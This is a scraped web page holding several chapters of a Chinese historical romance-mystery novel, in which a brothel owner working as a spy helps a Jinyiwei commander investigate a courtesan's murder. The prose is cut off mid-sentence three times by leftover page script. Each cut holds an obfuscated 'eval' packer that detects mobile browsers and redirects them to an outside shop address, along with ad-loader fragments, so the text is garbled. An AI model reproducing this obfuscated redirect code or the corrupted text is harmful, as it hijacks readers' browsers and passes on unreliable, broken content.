“你如何知道他便是凶手?” “奴婢就是知道。” 蕊秋不服气地反驳,又弱了声音接着争辩。 “楼里的姑娘们都知道,即便不是他杀的,牡丹姐姐会遭此劫也都是因他。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >这次温以没有回答,只是抿唇出了楼。 那龟公全然没有夸张,马车就大剌剌停在醉红楼门口,驾车的人是裴误的小厮阿石。 她目光划过装饰华丽的马车,却未见到裴误的身影。 抿了抿唇,街市上人来人往不好多问,只得先提着裙上了马车。 才打帘,便对上男人一双深潭般深不见底的眼睛。 温以面上未露惊诧,男人眸中却盛满了毫不掩饰的惊讶。 她今日穿的太素了。即便是三年前在江南时,她也是城里富裕员外家的独女,何曾穿过这样素净便宜的衣料。 这般像寻常农家女子的装扮,好像是变了一个人似的。 看起来……比重逢时候还要令人心中不舒服许多。 裴误心中计较温以自然是不知。 她压着心中惊讶在他身侧坐下,余光是他伸手可触的侧脸。 “裴大人。” 马车中不便行礼,温以才要行礼,便被他突兀的咳嗽声打断。 “本官时间宝贵,赶紧将昨日要说的说完。” 她垂眸间瞥过他靠在她膝边桌案尖锐处的手背,心中忍不住泛起一股酸涩的甜蜜。 “是。” 温以没忘记今日出来是为了办案,立刻简要地说起来。 “昨日说的吴举人,是牡丹的情郎。” “牡丹跟他原是家中长辈定下的娃娃亲,两家都住在京城近郊外的村里,可惜牡丹九岁时家里遭了难,父母双亲都在山洪中丧生,只留下重病的阿奶,一家就此败落……” “后来牡丹流落到了楼里,开始只是楼中服侍姑娘的丫鬟,直到吴举人找来京中。” …… 牡丹是为了供吴举人读书赶考,才甘愿落了风尘的。 可惜吴举人好不容易考中举人,却是庶吉士末名,终日在家等任状,颓废度日。 “所以楼中的姑娘们见牡丹出事,也都觉得定然是他干的。” 温以讲的有些唏嘘,一抬头却见他挑眉轻松的样子。 “裴大人不信?” 裴误闻言点头,又接着摇了摇头。 “是也不是。” “楼里的姑娘们凭何认定是吴举人?” 他听完来龙去脉,失去兴趣般往车厢后靠了靠。 “女子的直觉。” 温以在江南也是看过他办案的,本是理直气壮的,在他面前说出这几个字却气势莫名矮了一截。 “那温老板你呢?” “也是女子的直觉?” 他骤然坐直,微倾的身体随着马车转弯的方向自然地偏向温以这边,这般直勾勾盯着人眼睛看的时候倒让温以不自然地避开他的视线。 “民女自然是有证据的。” “何况……” “何况这也太过明显了不是吗?”裴误轻笑一声移开目光。 “明显到让人觉得要么是根本不在乎被人揭穿,抑或是自信一定能成功。” 他的话成功让温以哑了声。 “就像温老板今日一反常态的装扮。” “这副模样若是想勾起本官的怜香惜玉之心,未免也太过明显。” 温以不曾想过他会这样想。 似乎又回到了重逢的那一日,他勾着冰凉的刀柄,讥讽地把刀子一刀一刀地往她心尖插。 裴误似乎还没玩够,他不知从哪里摸出支做工精致的鸽子血宝石簪,在手心随意打转,扯着嘴角问: “就是不知道温老板做的如此明显的原因,是前者,还是后者?” 23. 三问 马车行至偏巷,周遭骤然安静下来。 打扮素净原是为了低调调查,温以没成想他会这么想。 她楞了一瞬,忍着酸涩想开口解释,不料被裴误抢了先。 “玩笑话。” 他视线落在她失了血色的唇瓣上,话先于脑子一步出了口。 温以今日只抹了浅淡的口脂,兴许她自己一时也没发现自己的异样,可那副强装笑颜的样子,裴误只觉得难看的当真刺眼。 “既为生意人,温老板该不会当真了吧?” 他像是随手般把手心那支簪子随意簪到她简单的发髻上,许是手生,簪的十分奇怪。 不过裴误却一无所觉,他只是淡淡地将视线划过她如墨的发间,在她抬首推拒的时候再次先一步开口: “这是赔礼。” 温以心绪低落,没看清他往自己发上簪了什么样式的簪子,只怕他一根簪子让自己刻意朴素的装扮功亏一篑,闻言依旧伸手去取。 男人炙热的手心圈住她的手腕,这次的语气带了些不可拒绝的意味。 “玩笑既然不好笑,赔礼便没有收回的道理。” 温以抬眸,试图从他漆黑的瞳中看出自己此刻的样子。裴误却很快避开了视线,松手退开。 马车正巧摇摇晃晃停了下来。 吴举人住的巷子十分冷落,外头似乎安静地过分,足见是到了地方。 裴误轻咳一声,先一步下了马车。 温以一人留在空荡的马车内,心中叹了口气,只得提起裙摆,跟着他打帘下马车。 脚尖还未触及地,便被男人单手拦住腰肢,一把抱下车缘。 温以一惊,下意识伸手揽住他的颈。不过一瞬之间,已经被裴误稳稳放下。 她偏头朝身后一看,马车下她原本要踏足的正是一片小小的水洼。 余光瞥见阿石扭着头忍不住偷笑的样子,她忽然也有些脸热。 大概是她这一身素净的衣裳和那支鸽子血宝石簪凑在一块,看起来实在可笑吧。 不过阿石笑归笑,正事儿还是没忘。 他走近面前破旧的木门,重重敲了两声。 “主人家可在家?” 门内没人应答,阿石回头确认了一眼裴误的意思,正要退开两步强踹开门,木门忽地从内打开。 开门的男子实在瘦弱得过分,一身陈旧的书生袍子穿在他身上简直看不出衣衫底下还有个成年男子的身体,空荡到吓人。 “吴举人?” 温以有些惊讶,不过还是一眼便观察出此人就是吴秀才无疑。 门内的人看到来人是两个孔武有力的男子,本还有些畏首畏尾地缩在门边,此刻听到温以的声音,先是点了点头,又恍如初醒般冲上前来。 他一双瘦到眼眶凹陷的眼中骤然射出强烈的希冀,望着裴误二人殷切问道: “是,小生是吴举人没错。” “大人是来送任状的吧?快,快请里面坐。” 他抬头的时候裴误才看清他双眼中布满可怖的红血丝,冠发杂乱的样子看起来不太正常。 “你如何知道本官是来送任状的?” 裴误神色不改地顺着他的话说下去。 “大人迟到了许多日,小生自然一眼就认得出。” “快请进来歇杯茶。” 吴举人因为裴误默认的态度显得兴喜若狂,近乎疯癫地伸手去拉人。 裴误侧身半步,绣春刀未出鞘,刀柄便顺着力撞到吴举人手腕上,人立刻吃痛地弹开。 吴举人一愣,以为是自己冒犯了贵人,便赔着笑脸退开,招呼三人进门。 几人跟在裴误身后,前后进了这间不大的院子。 迈过门槛时,温以不动声色地扯了扯裴误的腰绊,低声道: “裴大人,我说的证据便是此物。” 她悄悄摊开手心,并不算白嫩的掌心中央赫然是一枚精致小巧的荷包。 没有时间解释太多,温以只好长话短说。 “此物是牡丹赠予吴举人的,却出现在了案发现场,已算是实打实的证据一桩了吧?” 裴误收回目光,背过手推着她的掌心收紧。 “是证据,却不是杀人的证据。” 温以有些泄气,只得沉下气来跟上。 屋内跟院子一样小而陈腐,除了本身建筑的陈旧,也看得出居住在这里的人久不打理。 进屋的时候吴举人已经端上了泡好的茶。 温以暗中打量着屋子里的陈设,却一无所获。 她还未坐下,便听见裴误敲着桌面,状似随意道: “没想到吴举人也是个爱兰之人。” “窗边那盆兰花珍贵,真是可惜败落了。” 吴举人闻言,脸色忽然一白,僵着笑意含糊: “大人说的是,都是小生不够爱护。” “原来你也知这一点。” 裴误终于拿起了桌边的茶盏,却不是递到唇边,而是狠狠朝吴举人砸去。 他手下克制了分寸,但毕竟是武将。 一盏热茶,差点毁了吴举人半边的脸。 “大人,您这是……” 吴举人扯着衣袖擦拭脸侧的水痕,眼中闪过一丝阴翳。 温以敏锐地察觉到了这眼神,气息一凛,身边人却忽然轻笑一声。 裴误虽笑着,目光却冷似玄铁,挑眉道: “践踏真心之人,竟也知道是自己不够爱护。” “当真虚伪又好笑。” 他语罢,便起身径直朝屋门外去。 温以恍惚跟上他,到院中才发现许久不见的罗同知竟也在。 “大人。” 罗同志朝裴误恭敬地抱拳,才带着身后的几个锦衣卫进了他们身后的屋子。 男子与女子的步子毕竟不同,温以追着裴误到马车边的时候,车帘全无波澜,显然人已经坐上马车有些时候。 她伸手掀帘,见他闭着眼抱臂小憩的样子,垂眸放轻了脚步。 在他身边坐下,才发现男人不知什么时候睁开了眼,正直直欣赏她蹑手蹑脚的模样。 “大人原来醒着。” 温以叹了口气,因着他方才一句话,不大敢直视他的目光。 那一句“践踏真心之人”,总觉得也有她一份。何况他说这句话时的脸色是她从未见过的嗤笑嘲弄,眸底却是藏在嘲弄下的隐痛。 马车摇晃启程,返回了哄闹的闹市,帘内冷凝的气氛便显得尴尬起来。 “裴大人?”温以咬唇问。 “您不是说那不是杀人的证据吗?” 正襟而作的男人挑眉反问: “你何时见过锦衣卫没了证据便不抓人?” “那大人……”温以顿了顿,本想问他何必还要她走这一趟,最后还是换了说辞。 “既然要抓人,那大人何必进屋,还出动这么多人?” 吴举人不过一个手无缚鸡之力的书生,杀得了牡丹二人,也不过是仗着人心。锦衣卫若想捉他,只一二人便足够。 可裴误还是派了罗同知带了一大队人来。 “看看那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996169|148426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋子里有没有老鼠罢了。” 他没回答后一个问题,温以也已经懂了他言下之意。 进屋看看有没有埋伏,若没有,便是大队人马出动的时候了。因为要做给暗处的“老鼠”看。 她明了地点点头,才想起来头上簪着的簪子。 鸽子血的宝石不常见,如此贵重的礼物她不能收,于是立时便抬手要取下来。 纤指才抚上簪身,马车猛然一顿。 车帘外传来一阵哭喊混杂着喧闹声,扰得裴误不悦地皱眉。 “主子,前头路被堵住了。” 阿石隔着帘低声报告。 “何事?” 裴误不耐地启唇,话才出口,又听得马匹嘶鸣一声。 “大人……大人求您发发善心,为小女子做主…呜呜。” 帘外是女子柔软的哀求声,间或夹杂着抽泣声,听的人好不心疼。 “这是把大人当断是非的京官了。” 阿石嗤笑一声,知道主子可不吃怜香惜玉这一套。 就要赶人,车帘却忽然掀起半寸。 裴误伸手拂开半寸车帘,露出大半张谦谦如玉的容颜。他今日不是去上职,所以只是简单着了习武之人的装扮。 马蹄边那女子本跪坐着,抬头瞥见车上人的脸,眼中闪过一丝惊喜,哀求的声音越发千回百转。 旁边有那认得裴误这张脸的百姓,均是颤着身子避开了。 “大人,小女家贫,父亲一去,为好好安葬父亲,只得卖身葬父。” 女子似乎说到了伤心处,凝噎片刻,才抬指指着前头不远处被扭绑着的瘦小少年。 “幸得有好心人不求回报,给了小女子一笔钱安葬父亲,却被这人偷了去,如今人都抓到了,人证物证都在,他竟不认罪。” “求大人为小女子做主…” 裴误饶有兴味地听她说完了这些,直到女子柔弱地哀求了好几声,也还是一副看戏的样子。 温以被他掀帘的角度掩得严严实实,可裴误倾身看热闹的动作却让他与她贴的更近了。马车本就狭小,现在更是连彼此的呼吸都可闻。 她也不愿在这种事上多费时间,可那女子一开口,她便觉得这声音有些耳熟。 借着帘子偷偷瞥了一眼,她心下更是一惊。 看来主子对她摇摆不定的态度也有些恼怒,竟然派了楚衣来接近裴误。 见车上的男子久久不答,跪坐在地上女子有些焦急起来。 裴误久不拒绝,温以原本十成的放心也悬起两分。 对毫不关心的事情停留如此久,这不是裴误的作风。 气氛变得有些诡异起来,唯有那被扭绑着的少年即便一张唇红齿白的脸上占了不少尘灰,还是一脸倔强的样子,坚决不肯认这偷盗之事。 这当口,人群中有群衙役簇围一人走近。 闹市拥堵,京兆尹下车赶到此处已热的脸色赤红,喘着粗气怒斥: “快快给大人让路,还堵在这做什么?” 转头又换了一副面孔,谄笑着赔礼道: “这等小事扰了大人,真是不应当。” “指挥使大人快请,这些都交给下官处理。” 指挥使三字一出,人群中又是一阵喧闹。京兆尹带来的都是好手,已经押着当事几人要走。 阿石刚要驾车离开,裴误便出声拦住了他。 “京兆尹大人慢。” 温以眉心跳了跳,隐约有些不安。果然下一刻,便听见男人语如金石掷地。 “人,本官要带走。” 24. 三思 马车外是闹市沿街的叫卖,车内气氛则是截然相反的冷凝。 裴误还是方才那副抱臂小憩的样子,温以坐在他右侧。 对面坐着的少年手上的绳子还没解开,只能并着手端坐在裴误左侧。 那少年发丝微乱,即便双手依然被缚,还是一路眼神凶狠地偷偷瞪着裴误。 温以有些看不透裴误究竟想干什么了。 老实说,方才他喊停的一瞬间,即便有再多自信的了解,温以还是忍不住心尖一滞。 她忍不住想。 假如他想要带走的真的是楚衣,假如他真的看上了楚衣,她该怎么办? “喂。” 对面的少年忽然把眼神分到她身上,语气蛮横。 “给我松开。” 温以心中意外,抬头细细打量起少年蹭了灰的脸。直到如预料中看到“他”耳垂上细小的耳洞,才急不可察地蹙眉。 “看什么看!快给小爷松开。” 她平静探究的目光似乎惹恼了对面人,“少年”欲盖弥彰地加重了语气,一时间竟忘了掩饰自己尖细的女子声线。 话出口,又破罐子破摔地伸出被绑住的双手。 娇蛮、意气、却笨拙地可爱。 温以似乎从她身上看到了两分自己从前的影子,下意识偏头去看裴误。 这是他要带走的人,松不松绑,看他的意思。 见温以还是转头去看裴误的意思,对面那少女终于憋不住委屈,原本凶狠的眼神也在裴误不动如山的神色下一点点变得幽怨。 见他不理睬,少女咬着牙伸腿去踢裴误的小腿。 “蝉衣。” 男人终于开口,懒眼便吓退了少女的动作。 “你如今胆子的确大,看来今日之事不得不告诉母亲了。” “我看旁人是管教不了你了。” 他的话令少女与温以皆是一惊。 裴蝉衣立刻收了幽怨的小表情,讨好地挪到裴误身边,艰难地捏着裴误的袖角撒娇: “哥。” “全盛京最好的阿兄,这不是还有你管教我着吗?” “这点小事,就别劳动母亲大人了吧?” 裴误睨着她那张一片灰一片白的花脸,面上不显,眼中忍不住浮现点点笑意。 他移开视线,勉为其难地点了点头,目光不期与温以撞上一瞬。 温以才知晓他原来有一个妹妹。 原来这些年他既不是孤身一人在江南,更不是毫无城府背景的小县令。 她头一回如此直观地认识到,他或许从没变过,可她或许也从来不曾了解过他。 兄妹二人其乐融融,马车内气氛一变,温以便像个外人般格格不入。 好在醉红楼很快便到了,她福身行了个礼,裴误颔首,她便打帘下了马车。 放下车帘时,温以听见小姑娘压低了声音问裴误: “哥,她是谁啊?” “她……” 裴误的回答声随着放下的锦帘隔绝在内,温以没能听见。 “主子,您回来啦!” 蕊秋坐在大厅做针线,大门一开,便迎了上来。 见温以神色不对,有些失魂落魄的感觉,便要去搀扶她。 “我没事。” 温以抬头揉了揉额角。 今日发生的事情太多头绪未能理清,但有件事已经拖不得了。她若再不表态,主子手下多的是“楚衣”这样的人物。 介时若是“楚衣”来行事,便是半点不会站在裴误这边思虑了。 “蕊秋,你去把檐角的花灯点上。” 这是她与太子殿下的暗号,点了花灯,便是有要事禀告的意思。 可眼下醉红楼还在锦衣卫的围守中,这一面的危险不言而喻。 蕊秋是知道这暗号的,闻言一惊,刚要相劝便被温以抬头打断。 “去吧。” 她今日没什么力气多言,径直回了屋子。 ——— 马车内—— “哥,我觉得她不好。” 裴蝉衣偷偷瞄着裴误的脸色,心里怕归怕,还是说出了心里话。 “嗯。” 谁成想,他就这么嗯了一声,再没多余的反应。 虽然裴误表现得混不在乎,可刚才却对她的问题迟疑半天,才答了一句“你不必知道”。裴蝉衣原本只是随口一问,这下却觉察出不同。 想到刚才温以下车的地方,裴蝉衣想了半天,试着用醉委婉地措辞问: “哥,刚才那个姐姐是住在醉红楼吗?” “我不是瞧不起她,只是她若住在醉红楼…娘,娘她是不会答应的。” “小姑娘家家想这么多干什么。” 裴误终于是有了反应,却是轻笑着拍了拍裴蝉衣的脑袋,惹得她怪叫一声反抗。 裴蝉衣很不喜欢他这样岔开话避而不谈的样子。 她皱着眉看向兄长越见没了什么表情的脸,正色道: “我是说真的。” “兄长你这样,对那个姐姐和苏令窈都不公平。” 裴误没想到她会忽然提到苏令窈,好笑道: “蝉衣你不是一向不喜欢苏二小姐吗?” “可是……” 裴蝉衣还想说些什么,马车已经缓缓慢了下来。 还未停稳,裴误已经迈步到了车辕边。 “哥!” “阿石会送你回府,这些日子在府里安分些。” 他只留下一句话,便闪身跳下了马车。 这些日子朝堂浪静,私底下却不是。蝉衣再这样私自跑出府,早晚被人捏做威胁他的把柄。 至于苏令窈,不过是个空有小聪明的娇小姐,他从未想过娶她。 对婚约点头,一是为了让苏丞相那老狐狸对他放松警惕,二是需要一个在父亲母亲推阻亲事的借口。 今日蝉衣一句话,才让他意识到,在世人眼中,他毕竟是亲事将近之人。 世人皆知,那温以呢? …… “主子?” 十一原本跟在暗处,可裴误的行迹实在是太过令人疑惑,眼看他就要走进一家点心铺子,才不得不扮作阿石现身。 “您要买点心吗?” 夕阳沿着牌匾顶端落下,裴误抬头时正巧有些看不清牌匾上的字。 “主子?” 裴误沉声叹了口气。 这种时候,他总会庆幸当年选的长随是阿石,而不是话多又如此闲不住的十一。 “嗯。” 他摸了摸冰凉的刀柄,抬步进了店铺。 “买点荷花酥。” ———— 月上中天,醉红楼檐角的花灯早早地就被换了下来。 温以披了件厚软的狐毛披风,早早地坐在了茶铺后院。 后院柴房的小门吱呀一声打开,一个身姿遒劲的黑衣男人推门出来,月光照亮了他半侧写着沧桑的脸。 “李叔。” 温以起身行礼,待到看清李长丰身后男人的身影时,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996170|148426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色瞬间变得惊讶又愧疚。 “主子……” 她没料到太子殿下真的会来。 月光下的男人披着云锦纹的素色披风,宽大的兜帽遮住了大半身形。 温以刚要抱拳行礼,就被他叫停。 “安娘,不必多礼。” “此间耳目众多,进去再谈。” 几人前后进了耳屋,温以最后一个进房门,她细细检查了周边,才严实关上了房门。 “主子,属下无能,竟让人给阴了,令醉红楼也关了门。” 她一旋身便结实跪下了,耳房的地湿冷,温以却好像毫无所觉,两膝磕出沉闷的重重一声。 上首传来一声悠长的叹息。 “安娘,这并非你的错。” 太子的目光落在她灯下愈发明显的伤疤上,又一次想起最后一次见到温以娘亲时候的画面。 “是叔父对不住你。” “你一个姑娘家,却替我、替你娘亲守了这楼三年。好在现在总算苦尽甘来。” 提到娘亲,温以眼框一湿,顾不得体面抬头追问: “您的意思是,已经有眉目了?” 太子颔首慢道: “早便查明了,那人就在苏丞相和成国公之间。” 成国公三字让温以的心跳漏了一拍。 若没有听错,朝野上下只有裴误的父亲一位成国公。 若是从前,她定然提刀便杀去了。可现在……她只能在心中祈祷真相不是成国公,却又觉得自己对娘亲实在是不孝。 分明点了暖炉的屋子,还是刺骨的冷。 “此前时机还未成熟,叔父还不能尽全力对付他们二人。” “安娘,你不会怪叔父早前不告诉你吧。” 太子宽厚的手掌安抚地拍了拍温以瘦弱的肩,满意地见她垂眸摇了摇头。 知道主子今日是来跟她说什么,李长风眼中闪过一丝不忍。 果然,不必等到太子提及,温以便整理好情绪,抬眸请命: “主子,安娘想好了。” “裴误那边,安娘愿意去做探子,只求……若到了不得不要肃清裴家的那一日,求您饶他一条性命。” 她说完这些,便像是花光了所有力气。 屋内安静良久,太子才沉沉地笑了起来。 “好,女大不中留,安娘也早到了动情窦的年纪了。” 温以被长辈这意料外的调笑逗红了脸,不好意思地看了看左右。 一炷香时间转瞬而过,茶馆终究不是久留的地方,几人说完要事便要离开。 “这是下一步要查的事宜。” 离开时,李叔递给她一封密信让她慢慢看。 温以转身去拉门闸,李长丰借着递信笺的机会忽然低声问: “安娘,这些日子睡得可安稳些了?” “还要多谢主子的丹药,”灯下女子回头,一笑温柔中带着姑娘家的娇俏狡黠,“这几日已经好多了。” “那便好。” 李长风松了口气,跟着点点头。 这夜月色皎洁,乘着夜色,温以从后院快步回了房。 她看罢密信,便借着烛火烧了信件。 屋内关着门,窗只开了条狭缝,火光映得温以的脸颊越发红润,直到火光燃尽,面上还是发热。 “主子怎地这般急功近利……” 她抚着发热的脸庞,以手作扇,扇着微弱的凉风,心里又是苦恼又是羞涩。 “借住在裴府,这要我如何开口?” 25. 三魂七魄 再如何不好开口,温以还是开了口。 开门见山的说,裴误自然不会答应,只有使些曲线的法子了。 吹干了纸上笔墨,温以仔细折好信笺,拿着信封下了楼。 “劳烦这位大人替我递给你们指挥使,多谢了。” 她将信封塞了给守在醉红楼门口的一名锦衣卫,丢下一句话,转身便走。 那锦衣卫兴许是刚进卫署不久,被她一句“大人”叫红了脸,抬头之见她上楼的背影。怀里的信件丢也不是,送也无门,后知后觉地苦了脸。 “这……” 不是不愿送,只是他等闲也见不到指挥使大人的面啊。 温以勾唇。 这便不是他要考虑的问题了。 裴误既然派人封了醉红楼,她的一举一动便定然在他的监视下。只要他知道有这么一封信的存在,便不愁送到他面前的法子。 事实证明,温以想的的确分毫不差。 半个时辰不到,这封带着玉兰香的信件便和其他公务密信一并送到了裴误的案头。 正巧午时刚过不久,裴误今日一直在卫署里处理这几日积压的事务。 他处理事务时最厌恶人来打扰,阿石不敢贸然敲门,可眼见午时都过了,裴误还是没有用午膳的意思,心里也着急起来。 这叠新送来的信件中,阿石一眼便看出了那封与其他信件格格不入的信件。 他悄悄松了口气,捧着信件敲门而入。 屋内熏香暖炉样样都未点,墙上挂着两把有些年头的绣春刀,虽然闭门掩窗,却显得肃冷而刚硬。 裴误坐在桌边,凝眉看着密信。 桌案一边放着一叠包装精致的点心,正是昨日傍晚在街上买的。看那绳结严谨的样子,一看便知是压根就没打开过。 那封带着玉兰香的信件被阿石放在最上首,一放上桌案,裴误便注意到了那若有似无的香味。 锦衣卫除了世人所惧怕的抄家之举,也是皇帝重要的耳目。 这里训练森严,等级严然,不能像这样在信纸上熏香,是最基本的规矩。 他下意识捏着眉心厌烦地撇头看,却发现这并非锦衣卫惯用的密信。 “是醉红楼那边送来的。” 阿石适时递了句话。 裴误没料到她会主动给他递信,挑眉拆开了那封信。 阿石偷偷观察着自家主子的表情,本以为温姑娘来信,他怎么也会有点反应,谁知他看完又很快将信笺原封不动地塞了回去,接着处理起其他事务。 半晌,他像是才注意到阿石还站在原地,冷冷抬眼。 “还有何事?” 话里三分凉意让阿石打了个寒战,硬着头皮道: “主子,午时已经过了。” 裴误倒是真没察觉到时间过的这么快。 他沉了口气放下手中的笔墨,起身道: “备车,今日还要去审吴举人。” 本以为主子终于想起了午膳,结果却是要出门。 “那属下备些点心带着。” 裴误这会儿气压太阴冷,阿石不敢多言,应声出门,临走时见那荷花酥实在浪费,便也偷偷带上了。 裴误将他的动作收入眼底,训斥的话终究咽了下去。 另一头的醉红楼—— 温以算着时辰换上了一身新裁的红色劲装,浅浅勾勒眉眼,便取了帏帽向楼中后门去。 “温姑娘。” 阿石见她开了门,殷勤地从车辕上搬下一只脚踏,便利她上马车。 出门时他还奇怪,主子平日出行都是骑马,何曾坐过马车? 今日反常,原来是因要来接温姑娘。 就这么一桩,他便看清了局势。 ——还是趁早讨了新当家夫人的欢心好。 温以不明白阿石的态度为何忽然转变,不过这并不是她此刻在乎的事情。 她拢了拢身上宽大的纯黑披风,遮住大半热烈艳红的裙角,掀帘钻进马车中。 裴误正举着水囊饮水,喉结滚动,裸露在飞鱼服外的颈线蕴藏着蓄势待发的力量感。 他饮水的动作很豪迈,却没有一滴水珠沿着嘴角滑落,骨子里仍是贵族做派。 “大人。” 温以轻车熟路地坐到他对面,垂眸便看见了桌上的茶点。 “荷花酥?” 她意外地问,伸手便去拿。直到指尖触及到那块茶点,才反应过来他才是主人家。 也许是因为今日这身红衣让她也恍惚了时间,下意识便带出些幼稚的言行。 “这茶点,我可以吃一块吗?” 温以不好意思地移开指尖捻了捻。 “不可。” “那便多谢……”温以脱口而出客套的话,没等说完,又诧异地回头。 裴误没再说第二遍,不过却用动作身体力行地重复了一遍拒绝的意思。 他用水囊抵着盘侧,把那碟点心从她面前挪开。 请求被拒,温以有点恼恨自己一时忘了情境。 她还当裴误是江南那位偏偏书生吗? 何事都依着自己,甚至为了给她买一盒子新鲜的荷花酥而每日绕着下衙的路去一趟员外府。 荷花酥从被人从她面前刻意挪开,桌面就这么大,取而代之的是一碟桂花糕。 桂花糕还隐约冒着热气,糯香诱人。 可惜温以已经没了吃茶点的心情。 端坐在对面的男人合上了水囊,余光追着姑娘的动作,却见她不再伸手,规规矩矩地坐稳了。 直到马车在诏狱门前停下,桌上的点心还是分毫未动的样子。 …… 进了诏狱,阴冷的气息便从脚底的石地下钻上来。 阴冷潮湿的牢狱,免不了有些酸臭的味道。 温以跟在裴误身后走了许久,终于到了一道重门前。 看守的卫兵认得裴误,还不等他亮出锦衣卫的腰牌,便打算开门放行。 其中一位卫兵犹疑的目光往他身后探究了一眼,很快被另一人提醒着收回目光。 湿冷腥臭的诏狱里,这么一位红裙摇曳的姑娘跟在指挥使身后要进去,自然惹人注意。尤其姑娘又带上了斗笠,身份更是惹人探究。 这间牢狱中多是关押穷凶极恶之人,许多都是当年裴误还在大理寺任职时经手过的案子。 对他们中的不少人而言,裴误已是熟面孔。 见他带着姑娘家来,粗鲁无状的浑话沿着长廊,即便很远也能听见一二。 走在身前的裴误忽然顿步,温以一个不妨,鼻尖差点撞上他宽厚的背。 “大人,可是有异常?” 他宽厚的身影挡在面前,温以看不清前面的画面,只能靠询问他得知。 “无事。” 裴误冷冷扫了左右一圈,突然有些后悔当日没有让这些人也顺带受了拔舌的刑罚。 他已经重新抬步,温以跟了几步,隔着帏帽对上铁栏内一个壮汉凶恶的目光,慢慢回过味来。 他这是怕这些人的话伤了她吗? 她帏帽下的唇角勾起一抹愉悦的弧度,指尖像是调整发髻似地扶了扶铁簪,弹指间,一根细如牛毛的银针便擦着那骂得最凶狠的壮汉颈侧而过。 只是蹭破了些皮,壮汉并无所觉。 不过三日后那地方便会溃烂生脓,瘙痒难耐。虽要不了他的命,却足以让他品尽苦头。 想到此,温以没忍住雀跃的心情,脚步稍快了些。 只是脚步细微的变化,走在前面的男人似乎察觉了什么,低声问: “有发现?” “没。” 她摇了摇头,瞬间收敛了心情。 吴举人关押在回廊尽头的那间,两人一前一后,穿过长廊,便到了地方。 以他所犯的罪行,即便有铁证,本来也是罪不至此的。裴误把他关押在这里,定然是有其他的用意。 显然这样极端的环境也让吴举人早就无法忍耐。 两人走到牢房前时,他已经如同一只丧家之犬般怯懦地缩在角落,分不清是疯是醒。 狱卒开了狱门,与其说是架着,倒不如说是半抬着瘦的像一张纸片般的吴举人出了铁门。 原本死活不知的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996171|148426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴举人睁眼一看到裴误,便好像恢复了力气,使出全部力气挣扎着大喊: “大人!” “我什么都说…什么都说!这事是有人指使我做的,我手上有他们的证据,求您…求您饶我一条小命!” 单看他惧怕的神色,裴误便知道让他关在这儿的目的已经达到。 身处一块全是恶徒的阴冷之地,听着这帮像是恶魔一样的人反复重复自己的“恶魔”之名。 恶魔眼中的恶魔,是否更有些不可测的震慑力呢? 裴误抬手,狱卒便不理会吴举人的动作,拎小鸡仔般将人拎走。 转身瞥见温以还站在原地,他垂在身侧手握紧片刻,又轻笑着松开。 帏帽下的表情他看不清,不过想必是怕了吧? 也是。 见过这种地狱,再面对一手打造这样地狱的人,谁能不怕呢? 他从温以身侧擦身离开,只低声丢下了一句: “跟上。” 帷幕下的温以正皱着鼻子憋气,见他要离开,如释重负地赶紧跟上。 这里血腥、野蛮,可这些寻常闺秀看来吓人的东西对她来说都算不了什么。 唯独这股腥臭,她是当真受不了。 夫子从小教她炼香,虽然她懒惰,最后也没练出师来,可嗅觉却比寻常人更灵敏些。 例如此刻裴误从她身侧擦身而过,温以便隐约闻到一股茶香。 她重新跟在他身后几步。 去到审讯地的路上,温以的视线在他身上探究地绕了个圈,最后锁定了他腰间的水囊。 原来这里面装的是浓茶。 “大人,出事了!” 原本留在外头的阿石忽然冲了进来,脸上一片慌张。 裴误侧耳,示意他低声禀告。 阿石一脸顾忌地左右环视几眼,才近身在裴误耳边说起来。 随着他的话,裴误的脸色也越发凝重起来。 “大人,事不宜迟。” 阿石一脸恳切地劝道。 裴误似乎还在权衡,不过片刻后还是点了头,转头让温以跟上,便快步出了诏狱。 审问吴举人的事就这么被搁置下来。 温以一路沉默地跟在他身后,直到两人前后上了马车,才忍不住反复地抬眼打量坐在对面的男人。 旁人不知道,只觉得大概是裴大人忽然有了要事,不得不打断审问的计划。 可温以在一旁听得一清二楚。 阿石凑在裴误耳边时,压根一句话也没有说。 再看面前的男人,正神色泰然品茶,全然没有要解释的意思。 “裴大人。” 温以忍不住开口。 “大人这是唱的哪一出?” 裴误不紧不慢抬眼,眼尾那颗赤红的小痣生动地一抬: “谓之,请君入瓮。” 联系吴举人前后的话,温以细细思量,也懂了他的意思。 ——这是要以吴举人为诱饵,捉住那即将入瓮的人。 “那眼下呢?” 